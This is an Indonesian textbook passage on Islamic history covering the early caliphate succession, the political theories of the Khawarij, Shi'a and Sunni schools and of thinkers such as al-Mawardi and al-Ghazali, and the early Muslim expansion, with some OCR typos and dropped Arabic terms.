Khalifah Al Walid (705-715 M) memberi perintah kepada gubernur-gubernurnya untuk mendirikan rumah sakit.Bagdad di bawah Harun Al-Rasyid(786-809 M)telah mempunyai rumah sakit dan demikian pula Cairo yang didirikan oleh Ibn Tulun pada tahun 872 M. Nama yang dipakai ialah kata Persia bimaristan. Al-Muristan Al-Mansuri didirikan oleh Sultan mamluk Qalawun tahun 1284 M. Ilmu kedokteran yang ada di dunia Islam pada waktu itu lebih tinggi dari ilmu pengobatan yang dilakukan di Eropa.



BAB V
ASPEK POLITIK


Persoalan yang pertama-tama timbul dalam Islam menurut sejarah bukanlah persoalan tentang keyakinan malahan persoalan politik.Sewaktu Nabi mulai menyiarkan agama Islam di Mekkah beliau belum dapat membentuk suatu masyarakat yang kuat lagi berdiri sendiri. Umat Islam diwaktu itu baru dalam kedudukan lemah, tidak sanggup menentang kekuasaan yang dipegang kaum pedagang Quraisy yang ada di Mekkah. Akhirnya Nabi bersama Sahabat dan umat Islamlainnya, seperti diketahui, terpaksa meninggalkan kota ini dan pindah ke Yasrib, yang kemudian terkenal dengan nama Medinah, yaitu Kota Nabi.Di kota ini keadaan Nabi dan Umat Islam mengalami perubahan yang besar. Kalau di Mekkah mereka sebelumnya merupak umat lemah yang tertindas, di Medinah mereka mempunyai kedudukan yang baik dan segera merupakan umat yang kuat d dapat berdiri sendiri. Nabi sendiri menjadi kepala dalam masyarak yang baru dibentuk itu danyang akhirnya merupakan suatu nega suatu negara yang daerah kekuasaannya diakhir zaman Nabi meliputi seluruh Semenanjung Arabia. Dengan kata lain di Medinah Nabi Muhammad bukan lagi hanya mempunyai sifat Rasul Allah tetapi juga mempunyai sifat Kepala Negara.Jadi sesudah beliau wafat, beliau mesti diganti oleh orang lain untuk memimpin negara yang beliau tinggalkan. Dalam kedudukan beliau sebagai Rasul, beliau tentu tak dapat diganti. Sebagaimana diketahui dari sejarah pengganti beliau yang pertama ialah Abu Bakr. Abu Bakr menjadi Kepala Negara yang ada pada waktu itu dengan memakai gelar Khalifah, yang arti lafzinya ialah Pengganti (Inggeris : Successor). Kemudian setelah Abu Bakr wafat, Umar Ibn Al-Khattab menggantikan beliau sebagai Khalifah yang kedua. Usman Ibn Affan selanjutnya menjadi Khalifah yang ketiga dan padapemerintahannyalah mulai timbul persoalan-persoalan politik. Ahli sejarah menggambarkan Usman sebagai orang lemah dan tak kuat untuk menentang ambisi kaum keluarganya yang kaya dan berpengaruh dalam masyarakat Arab pada waktu itu. la mengangkati mereka menjadi Gubernur-gubernur di daerah-daerah yang tunduk kepadakekuasaan Islam. Gubernur-gubernur yang diangkat oleh Umar, Khalifah yang dikenal sebagai orang kuat dan tidak memikirkan kepentingan sendiri atau kepentingan keluarganya dijatuhkan oleh Usman. Politik nepotisme ini menimbulkan reaksi yang tidak menguntungkan bagi kedudukan Usman sebagai Khalifah. SahabatsahabatNabi yang pada mulanya menyokong Usman, akhirnya berpaling. Orang-orang yang ingin menjadi Khalifah atau orang-orang yang ingin calonnya menjadi Khalifah mulai pula menangguk di air keruh yang timbul itu. Di daerah-daerah timbul perasaan tidak senang. Di Mesir Amr Ibn Al-Aas dijatuhkan sebagai Gubernur dan diganti dengan Ibn Abi Sarh, salah seorang dari anggauta keluarga Usman. Sebagai reaksi terhadap keadaan ini, lima ratus pemberontak bergerak dari Mesir merruju Medinah. Perkembangan suasana di Medinah selanjutnya membawa pada pembunuhan Usman oleh pemuka-pemuka pemberontak dari Mesir itu.Setelah Usman wafat, Ali Ibn Abi Talib, sebagai calon terkuat, menjadi Khalifah yang ke-empat. Tetapi segera ia mendapat tantangan dari pemuka-pemuka yang ingin pula menjadi Khalifah, terutama Talhah dan Zubeir dari Mekkah yang mendapat sokongan dari Aisyah. Dalam peperangan yang terjadi Talhah dan Zubeir mati terbunuh,sedang Aisyah dikirim kembali ke Mekkah.Tantangan kedua datang dari Mu'awiah, gubernur Damaskus dan anggota keluarga yang terdekat dengan Usman Ibn Affan: Mu'awiah juga tidak mengakui Ali sebagai Khalifah bahkan ia menuduh Ali turut campur tangan dalam soal pembunuhan Usman, karena salah satu dari pemuka pemberontak, Muhammad, adalal anak angkat Ali. Antara kedua golongan akhirnya terjadi peperangan di Siffin, Irak. Tentara Ali dapat mendesak tentara Mu'awiah sehingga yang tersebut akhir ini telah bersedia untuk lari. Tetapi tangan kanan Mu'awiah, Amr Ibn Al-Aas, yang terkenal sebagai orang licik minta berdamai dengan mengangkatkan Al-Qur-an ke atas. Imam-Imam yang ada dipihak Ali mendesak Ali supaya menerima tawarar itu dan dengan demikian dicarilah perdamaaan dengan mengadakan hakam yaitu arbitrase. Sebagai pengantara diangkat dua orang : Amr Ibn Al-Aas dari pihak Mu'awiah dan Abu Musa Al-Asy'aru.dari pihak Ali.Dalam pertemuan mereka berdua, kelicikan Amr mengalahkan perasaan takwa Abu Musa. Sejarah mengatakan bahwa antara keduanya terdapat permufakatan untuk menjatuhkan Ali dan Mu'awiah Dan tradisi menyebut bahwa Abu Musa sebagai yang tertua, berbicara lebih dahulu dan mengumumkan kepada orang ramai putusar menjatuhkan kedua pemuka yang bertentangan itu. Tetapi Amr, yang berbicara kemudian mengumumkan hanya menyetujui untuk menjatuhkan Ali sebagai telah dijelaskan Abu Musa dan menolak untuk menjatuhkan Mu'awiah. Peristiwa ini merugikan bagi Ali dan menguntungkan bagi Mu'awiah. Mu'awiah yang pada mulanya hanya berkedudukan Gubernur kini telah naik derajatnya menjadi Khalifah yang tidak resmi. Tidak mengherankan kalau putusan ini tidak diterima Ali dan tak mau meletakkan jabatan sehingga ia mati terbunuh di tahun 661 M. Tetapi ia tidak dapat lagi melawan Mu'awiah, bukan hanya karena telah mempunyai saingan dalam kedudukannya sebagai Khalifah, tetapi juga karena kekuatan militernya telah pula menjadi lemah.Keadaan Ali menerima tipu muslihat Amr mengadakan arbitrase sungguhpun dalam keadaan terpaksa, tidak disetujui oleh sebagian dari tentaranya. Tentara ini mengasingkan diri dan ke luar dari barisan Ali. Mereka terkanal dalam sejarah dengan nama Khawarij, itu orang-orang yang keluar. Mereka mengatur barisan mereka dan selanjutnya menentang Ali. Antara Ali dan mereka terjadi peperangan. Dalam peperangan itu kaum Khawarij kalah, tetapi tentara Ali telah terlalu lemah untuk dapat meneruskan peperangan melawan Mu'awiah. Mu'awiah tetap berkuasa di Damaskus dan setelah ifatnya Ali ia dengan mudah dapat memperkuat kedudukannya bagai Khalifah di tahun 4661 M.Dari sejarah ringkas di atas dapat dilihat bahwa pada waktu itu telah timbul-tiga golongan politik, golongan Ali yang kemudian dikenal dengan nama Syi’ah, golongan yang keIuar dari barisan Ali yaitu. Kaum Khawarij dan golongan Mu’awiyah, yang kemudian membentuk Dinasti Bani Ummayah dan membawa sistem kerajaan dalam Islam.Perlu dijelaskan bahwa khalifah (pemerintahan); yang timbul sesudah wafatnya Nabi Muhammad, tidak mempunyai bentuk kerajaan; tetapi lebih dekat merupakan republic, dalam arti, Kepala negara dipilih dan tidak mempunyai sifat turun temurun. Sebagai diketahui Khalifah pertama adalah Abu Bakar dan beliau tidak mempunyai hubungan darah dengan Nabi Muhammad. Khalifah kedua, Umar ibn Al-Khattab,juga tidak mempunyai hubungan darah dengan Abu Bakar, demikian pula Khalifah ketiga Usman Ibn Affan dan halifah keempat Ali Ibn Talib, satu sama lain tidak mempunyai ubungan darah. Mereka adalah sahabat Nabi dan dengan demikian hubungan mereka sesama mereka merupakan hubungan persahabatan.Abu Bakar diangkat menjadi Khalifah bukan atas tunjukan Nabi Muhammad, karena beliau wafat dengan tidak meninggalkan perintah ataupun pesan tentang pengganti beliau sebagai Kepala negara. Abu Bakar diangkat atas dasar permufakatan pemuka-pemuka Ansar dan Muhajirin dalam rapat Saqifah di Medinah. Pengangkatan itu kemudian mendapat persetujuan dan pengakuan mat, yang dalam istilah Arabnya disebut bay'ah ( ).Umar menjadi Khalifah kedua atas pencalonan Abu Bakar yang segera juga mendapat persetujuan umat. Penentuan Usman sebagai pengganti Umar dirundingkan dalam rapat Enam Sahabat. Usman juga segera mendapat bay'ah dari umat. Setelah Usman mati terbunuh, Alilah merupakan calon terkuat untuk menjadi Khalifah keempat. Tetapi bay’ah yang diterima Ali tidak lagi sebulat bay'ah yang diberikan umat kepada khalifah-khalifah sebelumnya. Khalifah Ali, sebagai dilihat di atas, mendapat tantangan dari Mu'awiah di Damaskus dan dari Talhah, Zubeir dan Aisyah di Mekkah.Demikianlah ungkapan sejarah tentang pengangkatan sahabatsahabat Nabi Muhammad itu menjadi Khalifah. Jelas bahwa cara pengangkatan Kepala Negara sebagai yang diungkapkan sejarah ini, bukanlah cara yang dipakai dalam sistem kerajaan. Cara itu lebih sesuai untuk dimasukkan ke dalam sistem pengangkatan Kepala Negara dalam pemerintahan demokrasi.Dalam pada itu perlu ditegaskan bahwa menurut pendapat umum yang ada dizaman itu, seorang Khalifah haruslah berasal dari suku Quraisy. Pendapat ini didasarkan atas hadis yang membuat Quraisy mempunyai kedudukan lebih tinggi dari suku-suku Arab lainnya dan terutama hadis : Imam-imam adalah dari Quraisy ( ). Keempat Khalifah Besar memang orangorang ternama dari suku Quraisy dan demikian juga dinasti Bani Umayyah dan Dinasti Bani Abbas, semuanya berasal dari suku Nabi Muha.mmad itu. Pendapat ini kemudian menjadi teori ketatanegaraan yang dianut oleh Ahli Sunnah.Kaum Khawarij tidak setuju dengan faham di atas. Menurut pendapat mereka khilafah (jabatan Kepala Negara) bukanlah hak monopoli dari suku Quraisy. Bagi mereka tidak ada perbedaan antara Quraisy dan suku-suku Arab lainnya, bahkan juga tidak antara Arab dan bukan Arab. Oleh karena itu dalam teori politik mereka; tiap orangIslam sekalipun ia bukan orang Arab, boleh menjadi Khalifah, asal saja ia mempunyai kesanggupan untuk itu.Dan berlawanan dengan faham yang dibawa oleh Mu'awiah, khalifah bagi kaum Khawarij tidak mempunyai sifat turun-temurun dari bapak kepada turunannya. Dengan lain kata, mereka tidak setuju dengan sistem kerajaan. Selanjutnya mereka berpendapat bahwa Khalifah yang melanggar ajaran-ajaran agama wajib dijatuhkan, bahkan dibunuh.Sementara itu, seorang pemuka Khawarij bernama Najdah Ibn Amr Al-Hanafi mempunyai faham bahwa Kepala Negara diperlukan hanya jika maslahat umat menghendaki yang demikian. Pada hakekatnya, demikian Najdah, ummat tidak berhajat pada adanya Khalifah atau Imam untuk memimpin mereka. Dalam hal ini, ia sebenarnya dekat dengan faham komunis yang mengatakan bahwa negara akan hilang dengan sendirinya dalam masyarakat komunis.Kaum Khawarij dalam sejarah pecah menjadi beberapa kelompok, tetapi perbedaan faham mereka berkisar sekitar masalahmasalah teologi. Hal ini akan dibicarakan lebih lanjut dalam pembahasan aspek teologi.Tetapi bagaimanapun, teori politik mereka bersifat lebih demokratis dari teori-teori politik yang dianut oleh golongan-golongan politik Islam lain dizaman itu.Kaum Syi'ah, berlainan dengan kaum Khawarij, berpendapat bahwa jabatan Kepala Negara bukanlah hak tiap orang Islam, bahkan pula tidak hak setiap orarag Quraisy, sebagai tersebut dalam teori yang kemudian dianut oleh Ahli Sunnah itu. Dalam faham kaum Syi'ah imamah (jabatan Kepala Negara) adalah hak monopoli Ali Ibn Abi Talib dan keturunannya. Perlu ditegaskan bahwa nama yang dipakai golongan Syi'ah untuk Kepala Negara adalah Imam.Sesuai dengan faham yang dibawa oleh Mu'awiah, imamah dalam teori Syi'ah mempunyai bentuk kerajaan dan turun-temurun dari bapak ke anak, seterusnya ke cucu dan demikian selanjutnya. Semestinya yang menggantikan Nabi Muhammad sebagai Kepala Negara dalam faham Syi'ah, adalah anak beliau. Tetapi karena beliau tak mempunyai anak laki-laki yang hidup, jabatan itu seharusnya pergi ke anggotakeluarga beliau yang terdekat.Ali Ibn Abi Talib, adalah anak paman beliau dan yang terpenting lagi adalah pula menantu beliau. Oleh karena itu, Ali-lah anggota keluarga Nabi yang terdekat. Dengan demikian, yang menggantikan Nabi Muhammad sebagai Kepala Negara seharusnyalah Ali, dan seterusnya anak-anak serta cucu-cucunya dan bukan Abu Bakar, Umar, Usman, Bani Umayyah dan Bani Abbas. Oleh sebab itu khilafah Abu Bakar, Umar dan Usman tidak diakui oleh kebanyakan kaum Syi'ah dan demikian juga pemerintahan Dinasti Bani Umayyah dan Dinasti Bani Abbas.Dalam sejarah mereka memang menentang Dinasti Bani Umayyah dan aktif bekerja sama dengan Bani Abbas dalam menjatuhkan Kerajaan yang dibentuk Mu'awiah itu. Tetapi setelah ternyata bahwa Bani Abbas memonopoli kekuasaan untuk mereka sendiri dan kemudian membentuk Dinasti Bani Abbas, kaum Syi'ah mengambil sikap melawan terhadap mereka. Perlawanan itu menjelma dalam bentuk gerakan-gerakan seperti yang dijalankan golongan Qaramitah, Hasysyasyin, dan sebagainya. Gerakan mereka akhirnya mewujudkan khilafah Syi'ah di Mesir, yaitu khilafah Fatimiah (969 -1171 M) dan kerajaan Syi'ah di Iran semenjak tahun 1502 M.Dalam pada itu, kaum Syi'ah juga pecah ke dalam beberapa golongan. Yang terbesar ialah golongan Syi'ah Dua belas ( ). Mereka disebut Syi'ah Duabelas karena mereka mempunyai duabelas Imam Nyata ( ). Imam Pertama sudah barang tentu Ali Ibn Abi Talib sedang Imam Keduabelas adalah Muhammad Al- Muntazar.Pada Muhammad Al-Muntazar berhenti rangkaian Imam-imam Nyata, karena Muhammad tidak meninggalkan keturunan. Muhammad, sewaktu masih kecil, hilang di dalam gua yang terdapat di Mesjid Samarra (Iraq). Menurut keyakinan kaum Syi'ah Duabelas. Imam ini menghilang baut sementara dan akan kembali lagi sebagai Al-Mahdi untuk langsung memimpin umat. Oleh karena itu ia disebut Imam Bersembunyi ( ) atau Imam Dinanti, ( ). Selama bersembunyi ia memimpin umat melalui Raja-raja yang memegang kekuasaan dan ulama-ulama mujtahid Syi'ah.Syi'ah Duabelas menjadi faham resmi di Iran semenjak permulaan abad ke-enambelas, yaitu setelah faham itu dibawa ke sana oleh Syi'ah Ismail. Di samping Syi'ah Duabelas ada pula Syi'ah Ismailiah. Imamimam mereka sampai dengan Imam Keenam masih sama dengan - Imam-imam Syi'ah Duabelas.Perbedaan mulai timbul pada Imam Ketujuh. Ismail, anak dari Ja'far Al-Sadiq, lebih dahulu meninggal dunia dari pada Imam Keenam ini. Oleh karena itu, tempat Ismail sebagai Imam Ketujuh diganti oleh adiknya Musa AI-Kazim. Faham inilah yang dianut oleh Syi'ah Duabelas. Tetapi sebagian lain dari kaum Syi'ah tidak setuju dengan pengangkatan itu dan tetap setia pada Ismail, sungguhpun ia telah meninggal dunia. Bagi mereka Ismailla Imam Ketujuh dan bukan Musa Al-Kazim.Karena mengakui hanya tujuh Imam Nyata, Syi'ah Ismaili, ini juga disebut Syi'ah Tujuh, sungguhpun pada akhirnya tidak semua berpegang teguh pada faham ini. Khalifah-khalifah Fatimi di Mesir, golongan Qaramitah, Hassyasyin, kaum Ismaili di India, Pakistan dan Iran, dan kaum Duruz di Lebanon dan Syiria termasuk dalam golongan Syi'ah Ismailia.Selanjutnya ada lagi Syi'ah Zaidiah, yaitu pengikut Zaid Ibn Ali Zain Al-Abidin. Berlainan dengan Syi'ah Duabelas dan Syi’ah Ismailiah mereka tidak menganut teori Imam Bersembunyi. Imam harus langsung memimpin umat. Jabatan Imam harus berasal dari keturunan Ali dan Fatimah. Demikian faham mereka.Syi'ah Zaidiah dalam sejarah membentuk kerajaan di Yaman dengan San'a sebagai ibu kota. Beberapa tahun yang lalu bentuk kerajaan ini dirobah menjadi republik, setelah terjadinya revolusi di negara itu.Di samping ketiga golongan besar ini, masih ada golongangolongan kecil seperti Syi'ah Saba'iah, pengikut Abdullah Ibn Saba', Syi'ah Al-Ghurabiah, Syi'ah Kisaniah, pengikut Al-Mukhtar Ibn Ubaid Al-Tsaqafi dan Syi'ah Al-Rafidah.Sebelum melanjutkan uraian, ada baiknya disimpulkan dahulu yang telah diterangkan di atas. Teori politik yang pertama timbul dari perkembangan politik ini terjadi dalam sejarah Islam ialah mengenai jabatan Kepala Negara. Di zaman Nabi Muhammad jabatan itu mempunyai bentuk yang unik. Beliau, sebagai Rasul yang diutus Tuhan, membawi ajaran-ajaran yang bukan hanya bersangkutan dengan hidup kerohanian tetapi juga ajaranajaran mengenai hidup keduniaan manusia. Oleh karena itu Nabimempunyai kedudukan, bukan hanya sebagai Kepala Agama, tetapi juga sebagai Kepala Negara. Dengan lain kata, alam diri Nabi terkumpul dua kekuasaan, kekuasaan spirituil dan kekuasaan sekuler. Beliau menjadi Kepala Negara bukanlah atas penunjukan dan pula bukan atas dasar hak turun-temurun. Beliau sebagai Rasul secara otomatis menjadi Kepala Negara.Siapa yang berhak menjadi Kepala Negara sebagai pengganti beliau dan bagaimana cara pengangkatannya, itulah yang menimbulkan perbedaan faham di bidang politik dalam Islam. Sebagaimana dilihat kaum Khawarij berpendapat bahwa yang berhak untuk menjadi Kepala Negara ialah semua orang Islam dan cara penentuan dan mengangkatan ialah pemilihan. Syi'ah, sebaliknya, berpendapat bahwa hanya keturunan Ali yang berhak menjadi Kepala Negara dan hak itu bersifat turun-temurun. Ahli Sunnah berpendapat bahwa hak itu dimiliki oleh suku Quraisy dan pengangkatannya ialah melalui pemilihan. Tetapi di samping itu ada pula yang menyetujui penentuan melalui keturunan.Sementara itu timbul pula perbedaan faham tentang sifat dan kekuasaan Kepala negara. Syi'ah Duabelas dan Syi'ah Fatimiah berkeyakinan bahwa Nabi Muhammad, sebelum beliau wafat, telah menentukan Ali sebagai penggantinya. Dalam istilah Syi'ah. Ali adalah wasi ( ) Nabi Muhammad, yaitu pengganti yang kepadaya dilimpahkan Nabi sepenuh kepercayaan. Wasi sesudah Ali adalah Hasan, kemudian Husein dan seterusnya cucu-cucu Nabi.Imam mempunyai sifat kekudusan yang diwarisi dari Nabi, dalam arti Ali menerima waris itu dari Nabi, Hasan dan Husein dari Ali, Ali Zainal Abidin dari Husein dan demikianlah seterusnya oleh cucu-cucu beliau. Di samping itu Imam mempunyai kekuasaan untuk membuat hukum. Perbuatan-perbuatan serta ucapan-ucapan Imam tidak bias bertentangan dengan syariat. Dengan demikian bagi kaum Syi'ah, Imamhampir sama sifat dan kekuasaannya dengan sifat dan kekuasaan Nabi. Imam dan Nabi sama-sama tak dapat berbuat salah dan sama-sama dapat membuat hukum. Perbedaan terletak dalam keadaan Nabi menerima wahyu sedang Imam tidak.Faham-faham di atas sama-sama dianut oleh Syi'ah Duabelas dan Syi'ah Ismailiah. Tetapi di antara golongan Ismailiah ada yang membawa faham-faham itu bersifat ekstrim. Sehubungan dengan kesucian Imam dari perbuatan salah, mereka umpamanya berpendapat bahwa sungguhpun Imam melakukan perbuatan salah, perbuatannya itu sebenarnya tidak salah. Dengan lain kata perbuatan yang bagi manusiabiasa merupakan perbuatan salah, bagi Imam, itu tidak merupakan perbuatan salah. Imam mempunyai ilmu batin, dan dengan ilmu batin itu ia mengetahui hal-hal yang tak dapat diketahui manusia biasa. Apa yang salah dalam pandangan manusia biasa, tidak mesti salah dalam pandangan Imam. Ada lagi yang berpendapat bahwa Tuhan mengambiltempat dalam diri Imam, dan oleh karena itu Imam disembah. Khalifah Fatimi Al-Hakim lbn Amrillah berkeyakinan bahwa dalam dirinya terdapat Tuhan, dan oleh karena itu memaksa rakyat supaya menyembahnya.Syi'ah Zaidiah, berlainan dengan Syi'ah Duabelas dan Syi'ah Ismailiah berpendapat bahwa Imam tidaklah ditentukan Nabi orangnya, tetapi hanya sifat-sifatnya. Tegasnya Nabi tidak mengatakan bahwa Ali-lah yang akan menjadi Imam sesudah beliau wafat, tetapi Nabi hanya menyebut sifat-sifat Imam yang akan menggantikan beliau. Alidiangkat menjadi Imam, karena sifat-sifat itu terdapat dalam dirinya. Di antara sifat-sifat yang dimaksud ialah takwa, ilmu, kemurahan hati dan keberanian dan untuk Imam sesudah Ali ditambahkan sifat keturunan Fatimah.Sifat-sifat tersebut adalah sifat bagi Imam terbaik ( ), Tetapi dalam pada itu pemuka yang tidak mencapai sifat terbaik boleh juga menjadi Imam. Kalau yang pertama disebut Imam afdal yang kedua disebut Imam mafdul ( ). Oleh karena itu Syi'ah Zaidiah dapat mengakui kekhalifahan Abu Bakar, Umar dan Usman. Mereka diakui sebagai Imam-Imam mafdul dan bukan Imam-imam afdal.Di samping yang tersebut di atas ada lagi faham-faham yang iajukan oleh Syi'ah ekstrim ( ) tentang sifat Ali. Al Saba'iah menganggap Ali Tuhan dan tidak mati terbunuh, tetapi naik ke langit. Al-Ghurabiah mengatakan bahwa wahyu sebenarnya urunkan untukAli, tetapi Jibril salah dalam rnenganggap Mu.nmad adalah Ali. A1- Nusairiah juga berpendapat bahwa Ali adalah Tuhan, atau sekurangkurangnya dekat menyerupai Tuhan. Golongan Syi'ah ekstrim serupa ini tidak diakui oleh golongan Syi'ah lainnya.Ahli Sunnah tidak menerima faham-faham tersebut di atas. Bagi mereka Ali dan keturunannya adalah manusia biasa, sama dengan Abu Bakar, Umar, Usman dan lain-lain. Oleh karena itu Jabatan Kepala Negara dalam teori mereka tidak dikhususkan untuk Ali dan keturunannya dan kalaupun dikhususkan hanya untuk suku Quraisy.Sementara itu Ahli Sunnah membahas soal khalifah dari aspekaspek lain. Pembahasan serupa itu dijumpai dalam buku-buku ilmu kalam atau buku-buku yang khusus membahas soal ketatagaraan dalam Islam, seperti, Al-Ahkam Al-Sultaniah, karangan Al-Mawardi.Menurut Al-Mawardi syarat-syarat yang diperlukan untuk menjadi Khalifah atau Imam, selain kesukuan Quraisy antara lain adalah sifat-sifat adil, berilmu, sanggup mengadakan ijtihad, sehat mental dan fisik, berani dan tegas. Imam dipilih oleh orang-orang yang berhak untuk memilih ( ). Sifat-sifat yang diperlukan untuk menjadi pemilih adalah adil, mengetahui syarat-syarat yang diperlukan untuk menjadi Khalifah, dan kesanggupan untuk menentukan dengan bijaksana siapa yang berhak untuk menjadi Kalifah di antara calon-calan yang ada. Pemilih-pemilih itu disebut ahl al hal waal aqad ( ) yaitu orang-orang yang dapat menentukan. Dengan mendapat bay'ah (pengakuan). Khalifah sebenarnya telah mengikat janji (kontrak) dengan umat. Dari pihak nya perjanjian itu merupakan janji yang mengandung arti bahwa ia akan menjalankan kewajiban-kewajibannya dengan tulus ikhlas, dan dari pihak umat, itu mengandung arti bahwa mereka akan patuh pada Khalifah. Tetapi kepatuhan umat kepadanya akan hilang kalau sifatsifatyang membuatnya berhak menjadi Khalifah hilang pula,umpamanya sifat keadilan hilang, atau kesehatan mental atau fisikrusak, demikianlah seterusnya. Khalifah dapat diganti, kalau ia ditangkapmenjadi tawanan, atau kekuasaannya dirampas oleh seorangSultan atau Amir, dan Khalifah dengan demikian kehilangankemerdekaan. Adanya dua Khalifah dalam suatu Negara tidak boleh.Demikian sebahagian dari teori-teori politik yang dimajukan oleh Al-Mawardi.Al-Ghazali, berlainan dengan kaum Khawarij, berpendapat,bahwa Khalifah tidak dapat dijatuhkan, walaupun Khalifah yang zalim.Menggulingkan Khalifah yang zalim tapi kuat, akan membawakekacauan dan pembunuhan dalam masyarakat. Al-Ghazalimementingkan ketertiban dalam masyarakat. Khalifah dapatmenyerahkan kekuasaan untuk memerintah kepada Sultan yangberkuasa. Dalam sejarah Dinasti Bani Abbas memang terdapat Sultan10sultan yang berkuasa di samping Khalifah-khalifah yang lemah.Sebagai dilihat di atas, tidak jarang bahwa Khalifah hanya merupakanboneka dalam tangan Sultan.Ibn Jama'a sama dengan Al-Ghazali, lebih mengutamakanketertiban dalam masyarakat daripada pemerintahan yang zalim. Patuhkepada kekuasaan adalah kewajiban yang diharuskan agama. Penentuanpengganti oleh seorang Khalifah, dalam pendapat Ibn Jama'a,merupakan salah satu bentuk pemilihan.Selain dari kaum teolog, kaum filosof Islam juga membahas soalpolitik dalam Islam. Al-Farabi umpamanya, meninggalkan bukubernama AI-Madinah AI-Fadilah ( ) NegaraTerbaik. Di dalamnya ia menguraikan bahwa negara terbaik ialahnegara yang dikepalai seorang Rasul. Tetapi karena zaman Rasul-rasultelah selesai, maka negara terbaik kelas dua ialah negara yang dikepalaioleh seorang filosof. Dalam pemikiran politiknya, Al-Farabi banyakdipengaruhi oleh filosof Yunani, Plato.Ibnu Sina juga berpendapat bahwa negara terbaik adalah negarayang dipimpin Rasul dan sesudah itu negara yang dipimpin filosof,Khalifah harus orang yang ahli dalam soal hukum (Syari'ah) mementingkan soal spirituil dan moral rakyat, dan mesti bersikap adil. Ia harusmembawa umat kepada kebahagiaan di dunia dan kebahagiaan diakhirat.


BAB IV
ASPEK SEJARAH DAN KEBUDAYAAN

Tahun Islam dimulai dengan hijrah Nabi Muhammad s.a dari Mekkah ke Medinah di tahun 622 M. Di Mekkah terdapat kuasaan kaum Quraisy yang kuat dan yang pada waktu itu belum dapat dipatahkan Islam. Di Medinah sebaliknya tidak terdapat kekuasaan yang demikian, bahkan di sana akhirnya Nabi Muhammad yang memegang tampuk kekuasaan. Dengan beradanya kekuasaan ditangan beliau, Islampun lebih mudahlah dapat disebarkan
sehingga akhirnya Islam pernah menguasai daerah-daerah yang dimulai dari Spanyol di sebelah Barat sampai ke Filiphina di sebelah Timur, dari Afrika Tengah di sebelah Selatan sampai ke Danau Aral di belah Utara. Sejarah Islam sekarang telah berjalan dekat empat belas abad lamanya. Sebagai halnya dengan sejarah tiap umat, sejarah Islam dapat dibagi ke dalam periode klasik, periode pertengahan dan periode modern.

I. Periode Klasik : 650 - 1250 M.
Periode Klasik ini dapat pula dibagi ke dalam dua masa, masa Kemajuan Islam I dan masa Disintegrasi.
1. Masa Kemajuan Islam I : 650 - 1000 M.
Masa ini merupakan masa ekspansi, integrasi dan ke-emasan Islam. Dalam hal ekspansi, sebelum Nabi Muhammad wafat di tahun 632 M., seluruh Semenanjung Arabia telah tunduk ke bawah kekuasaan Islam. Ekspansi ke daerah-daerah di luar Arabia dimulai di zaman Khalifah pertama, Abu Bakar Al-Siddik.
Khulafa Al-Rasyidin.
Abu Bakar menjadi Khalifah di tahun 632 M., tetapi dua tahun kemudian meninggal dunia. Masanya yang singkat itu banyak dipergunakan untuk menyelesaikan perang riddah, yang ditimbulkan oleh suku-suku bangsa Arab yang tidak mau tunduk lagi kepada Medinah. Mereka menganggap bahwa perjanjian yang mereka buat dengan Nabi Muhammad, dengan sendirinya tidak mengikat lagi setelah beliau wafat. Mereka selanjutnya mengambil sikap menentang terhadap Abu Dakar. Khalid Ibn Al-Walid adalah jenderal yang banyak jasanya daun mengatasi perang riddah ini. Setelah selesai perang dalam negeri tersebut, barulah Abu Bakar mulai mengirim kekuatan-kekuatan ke luar Arabia. Khalid Ibn Al Walid dikirim ke Irak dan dapat menguasai Al-Hirah di tahun 634 M. Ke Suria dikirim tentara di bawah pimpinan tiga jenderal Amr Ibn Al-Aas, Yazid Ibn Abi Sufyan dan Syurahbil Ibn Hasanah. Untuk memperkuat tentara ini, Khalid Ibn Al-Walid kemudian diperintahkan upaya meninggalkan Irak, dan melalui gurun pasir yang jarang dijalani, ia delapan belas hari kemudian sampai di Suria. Usaha-usaha yang telah dimulai Abu Bakar ini dilanjutkan oleh Khalifah kedua, Umar Ibn Al-Khattab (634 - 644 M). Di zamannyalah gelombang ekspansi pertama terjadi, kota Damaskus jatuh di tahun 635 M. dan setahun kemudian, setelah tentara Bizantium kalah dipertempuran Yarmuk, daerah Suria jatuh ke bawah kekuasaan Islam. Dengan memakai Suria sebagai basis, ekspansi diteruskan ke Mesir di bawah pimpinan Ibn Al-Aas dan ke Irak dibawah pimpinan Sa'd Ibn Abi Al-Waqqas. Babilon di Mesir dikepung di tahun 640 M. Sementara itu tentara Bizantium di Heliopolis dikalahkan dan Alexandria kemudian menyerah di tahun 641 M. Dengan demikian Mesir jatuh pula ke tangan Islam. Tempat perkemahan Amr Ibn Al-Aas yang terletak di luar tembok Babilon, menjadi ibu kota dengan nama Al-Fustat. Al-Qadisiyah, suatu kota dekat Al-Hirah, di Irak jatuh di tahun 637 M dan dari sana serangan dilanjutkan ke Al-Madain (Ctesiphon), Ibu kota Persia, yang dapat dikuasai pada tahun itu juga. Ibu kota baru bagi daerah ini ialah Al-Kufah, yang pada mulanya merupakan perkemahan militer Islam di daerah Al-Hirah. Setelah jatuhnya Madain, Raja Sasan Yazdagrid III, lari ke sebelah Utara. Di tahun 641 M., Mosul (didekat Niniveh) dapat pula dikuasai. Dengan adanya gelombang ekspansi pertama ini, kekuatan Islam dibawah Khalifah Umar, telah meliputi selain Semenanjung Arabia, juga Palestina, Suria, Irak, Persia dan Mesir. Di zaman Usman Ibn Affan (644-656 M) Tripoli, Ciprus beberapa daerah lain dikuasai, tetapi gelombang ekspansi pertama berhenti sampai disini. Di kalangan umat Islam mulai terjadi perpecahan karena soal pemerintahan dan dalam kekacauan yang timbul Usman mati terbunuh. Sebagai pengganti Usman; Ali Ibn Abi Talib menjadi Khalifah keempat (656 - 661 M) tetapi mendapat tantangan dari pihak dukung Usman, terutama Mu’awiah, Gubernur Damaskus, dari golongan Talhah dan Zubeir di Mekkah dan dari kaum Khawarij. Ali, sebagaimana Usman, mati terbunuh, dan Mu'awiah menjadi Khalifah ke-lima : Mu'awiah selanjutnya membentuk Dinasti Bani Umayyah (661- 750 M) dan ekspansi gelombang kedua terjadi di zaman Dinasti ini. Di antara sebab-sebab yang membuat ekspansi Islam ke daerah
Semenanjung Arabia demikian cepat adalah hal-hal berikut :
1. Islam mengandung ajaran-ajaran dasar yang tidak hanya mempunyai sangkut paut dengan soal hubungan manusia dengan Tuhan dan soal hidup manusia sesudah hidup pertama sekarang. Tetapi Islam, sebagai kata H.A.R. Gibb, adalah agama yang mementingkan soal pembentukan masyarakat yang berdiri sendiri lagi mempunyai sistem
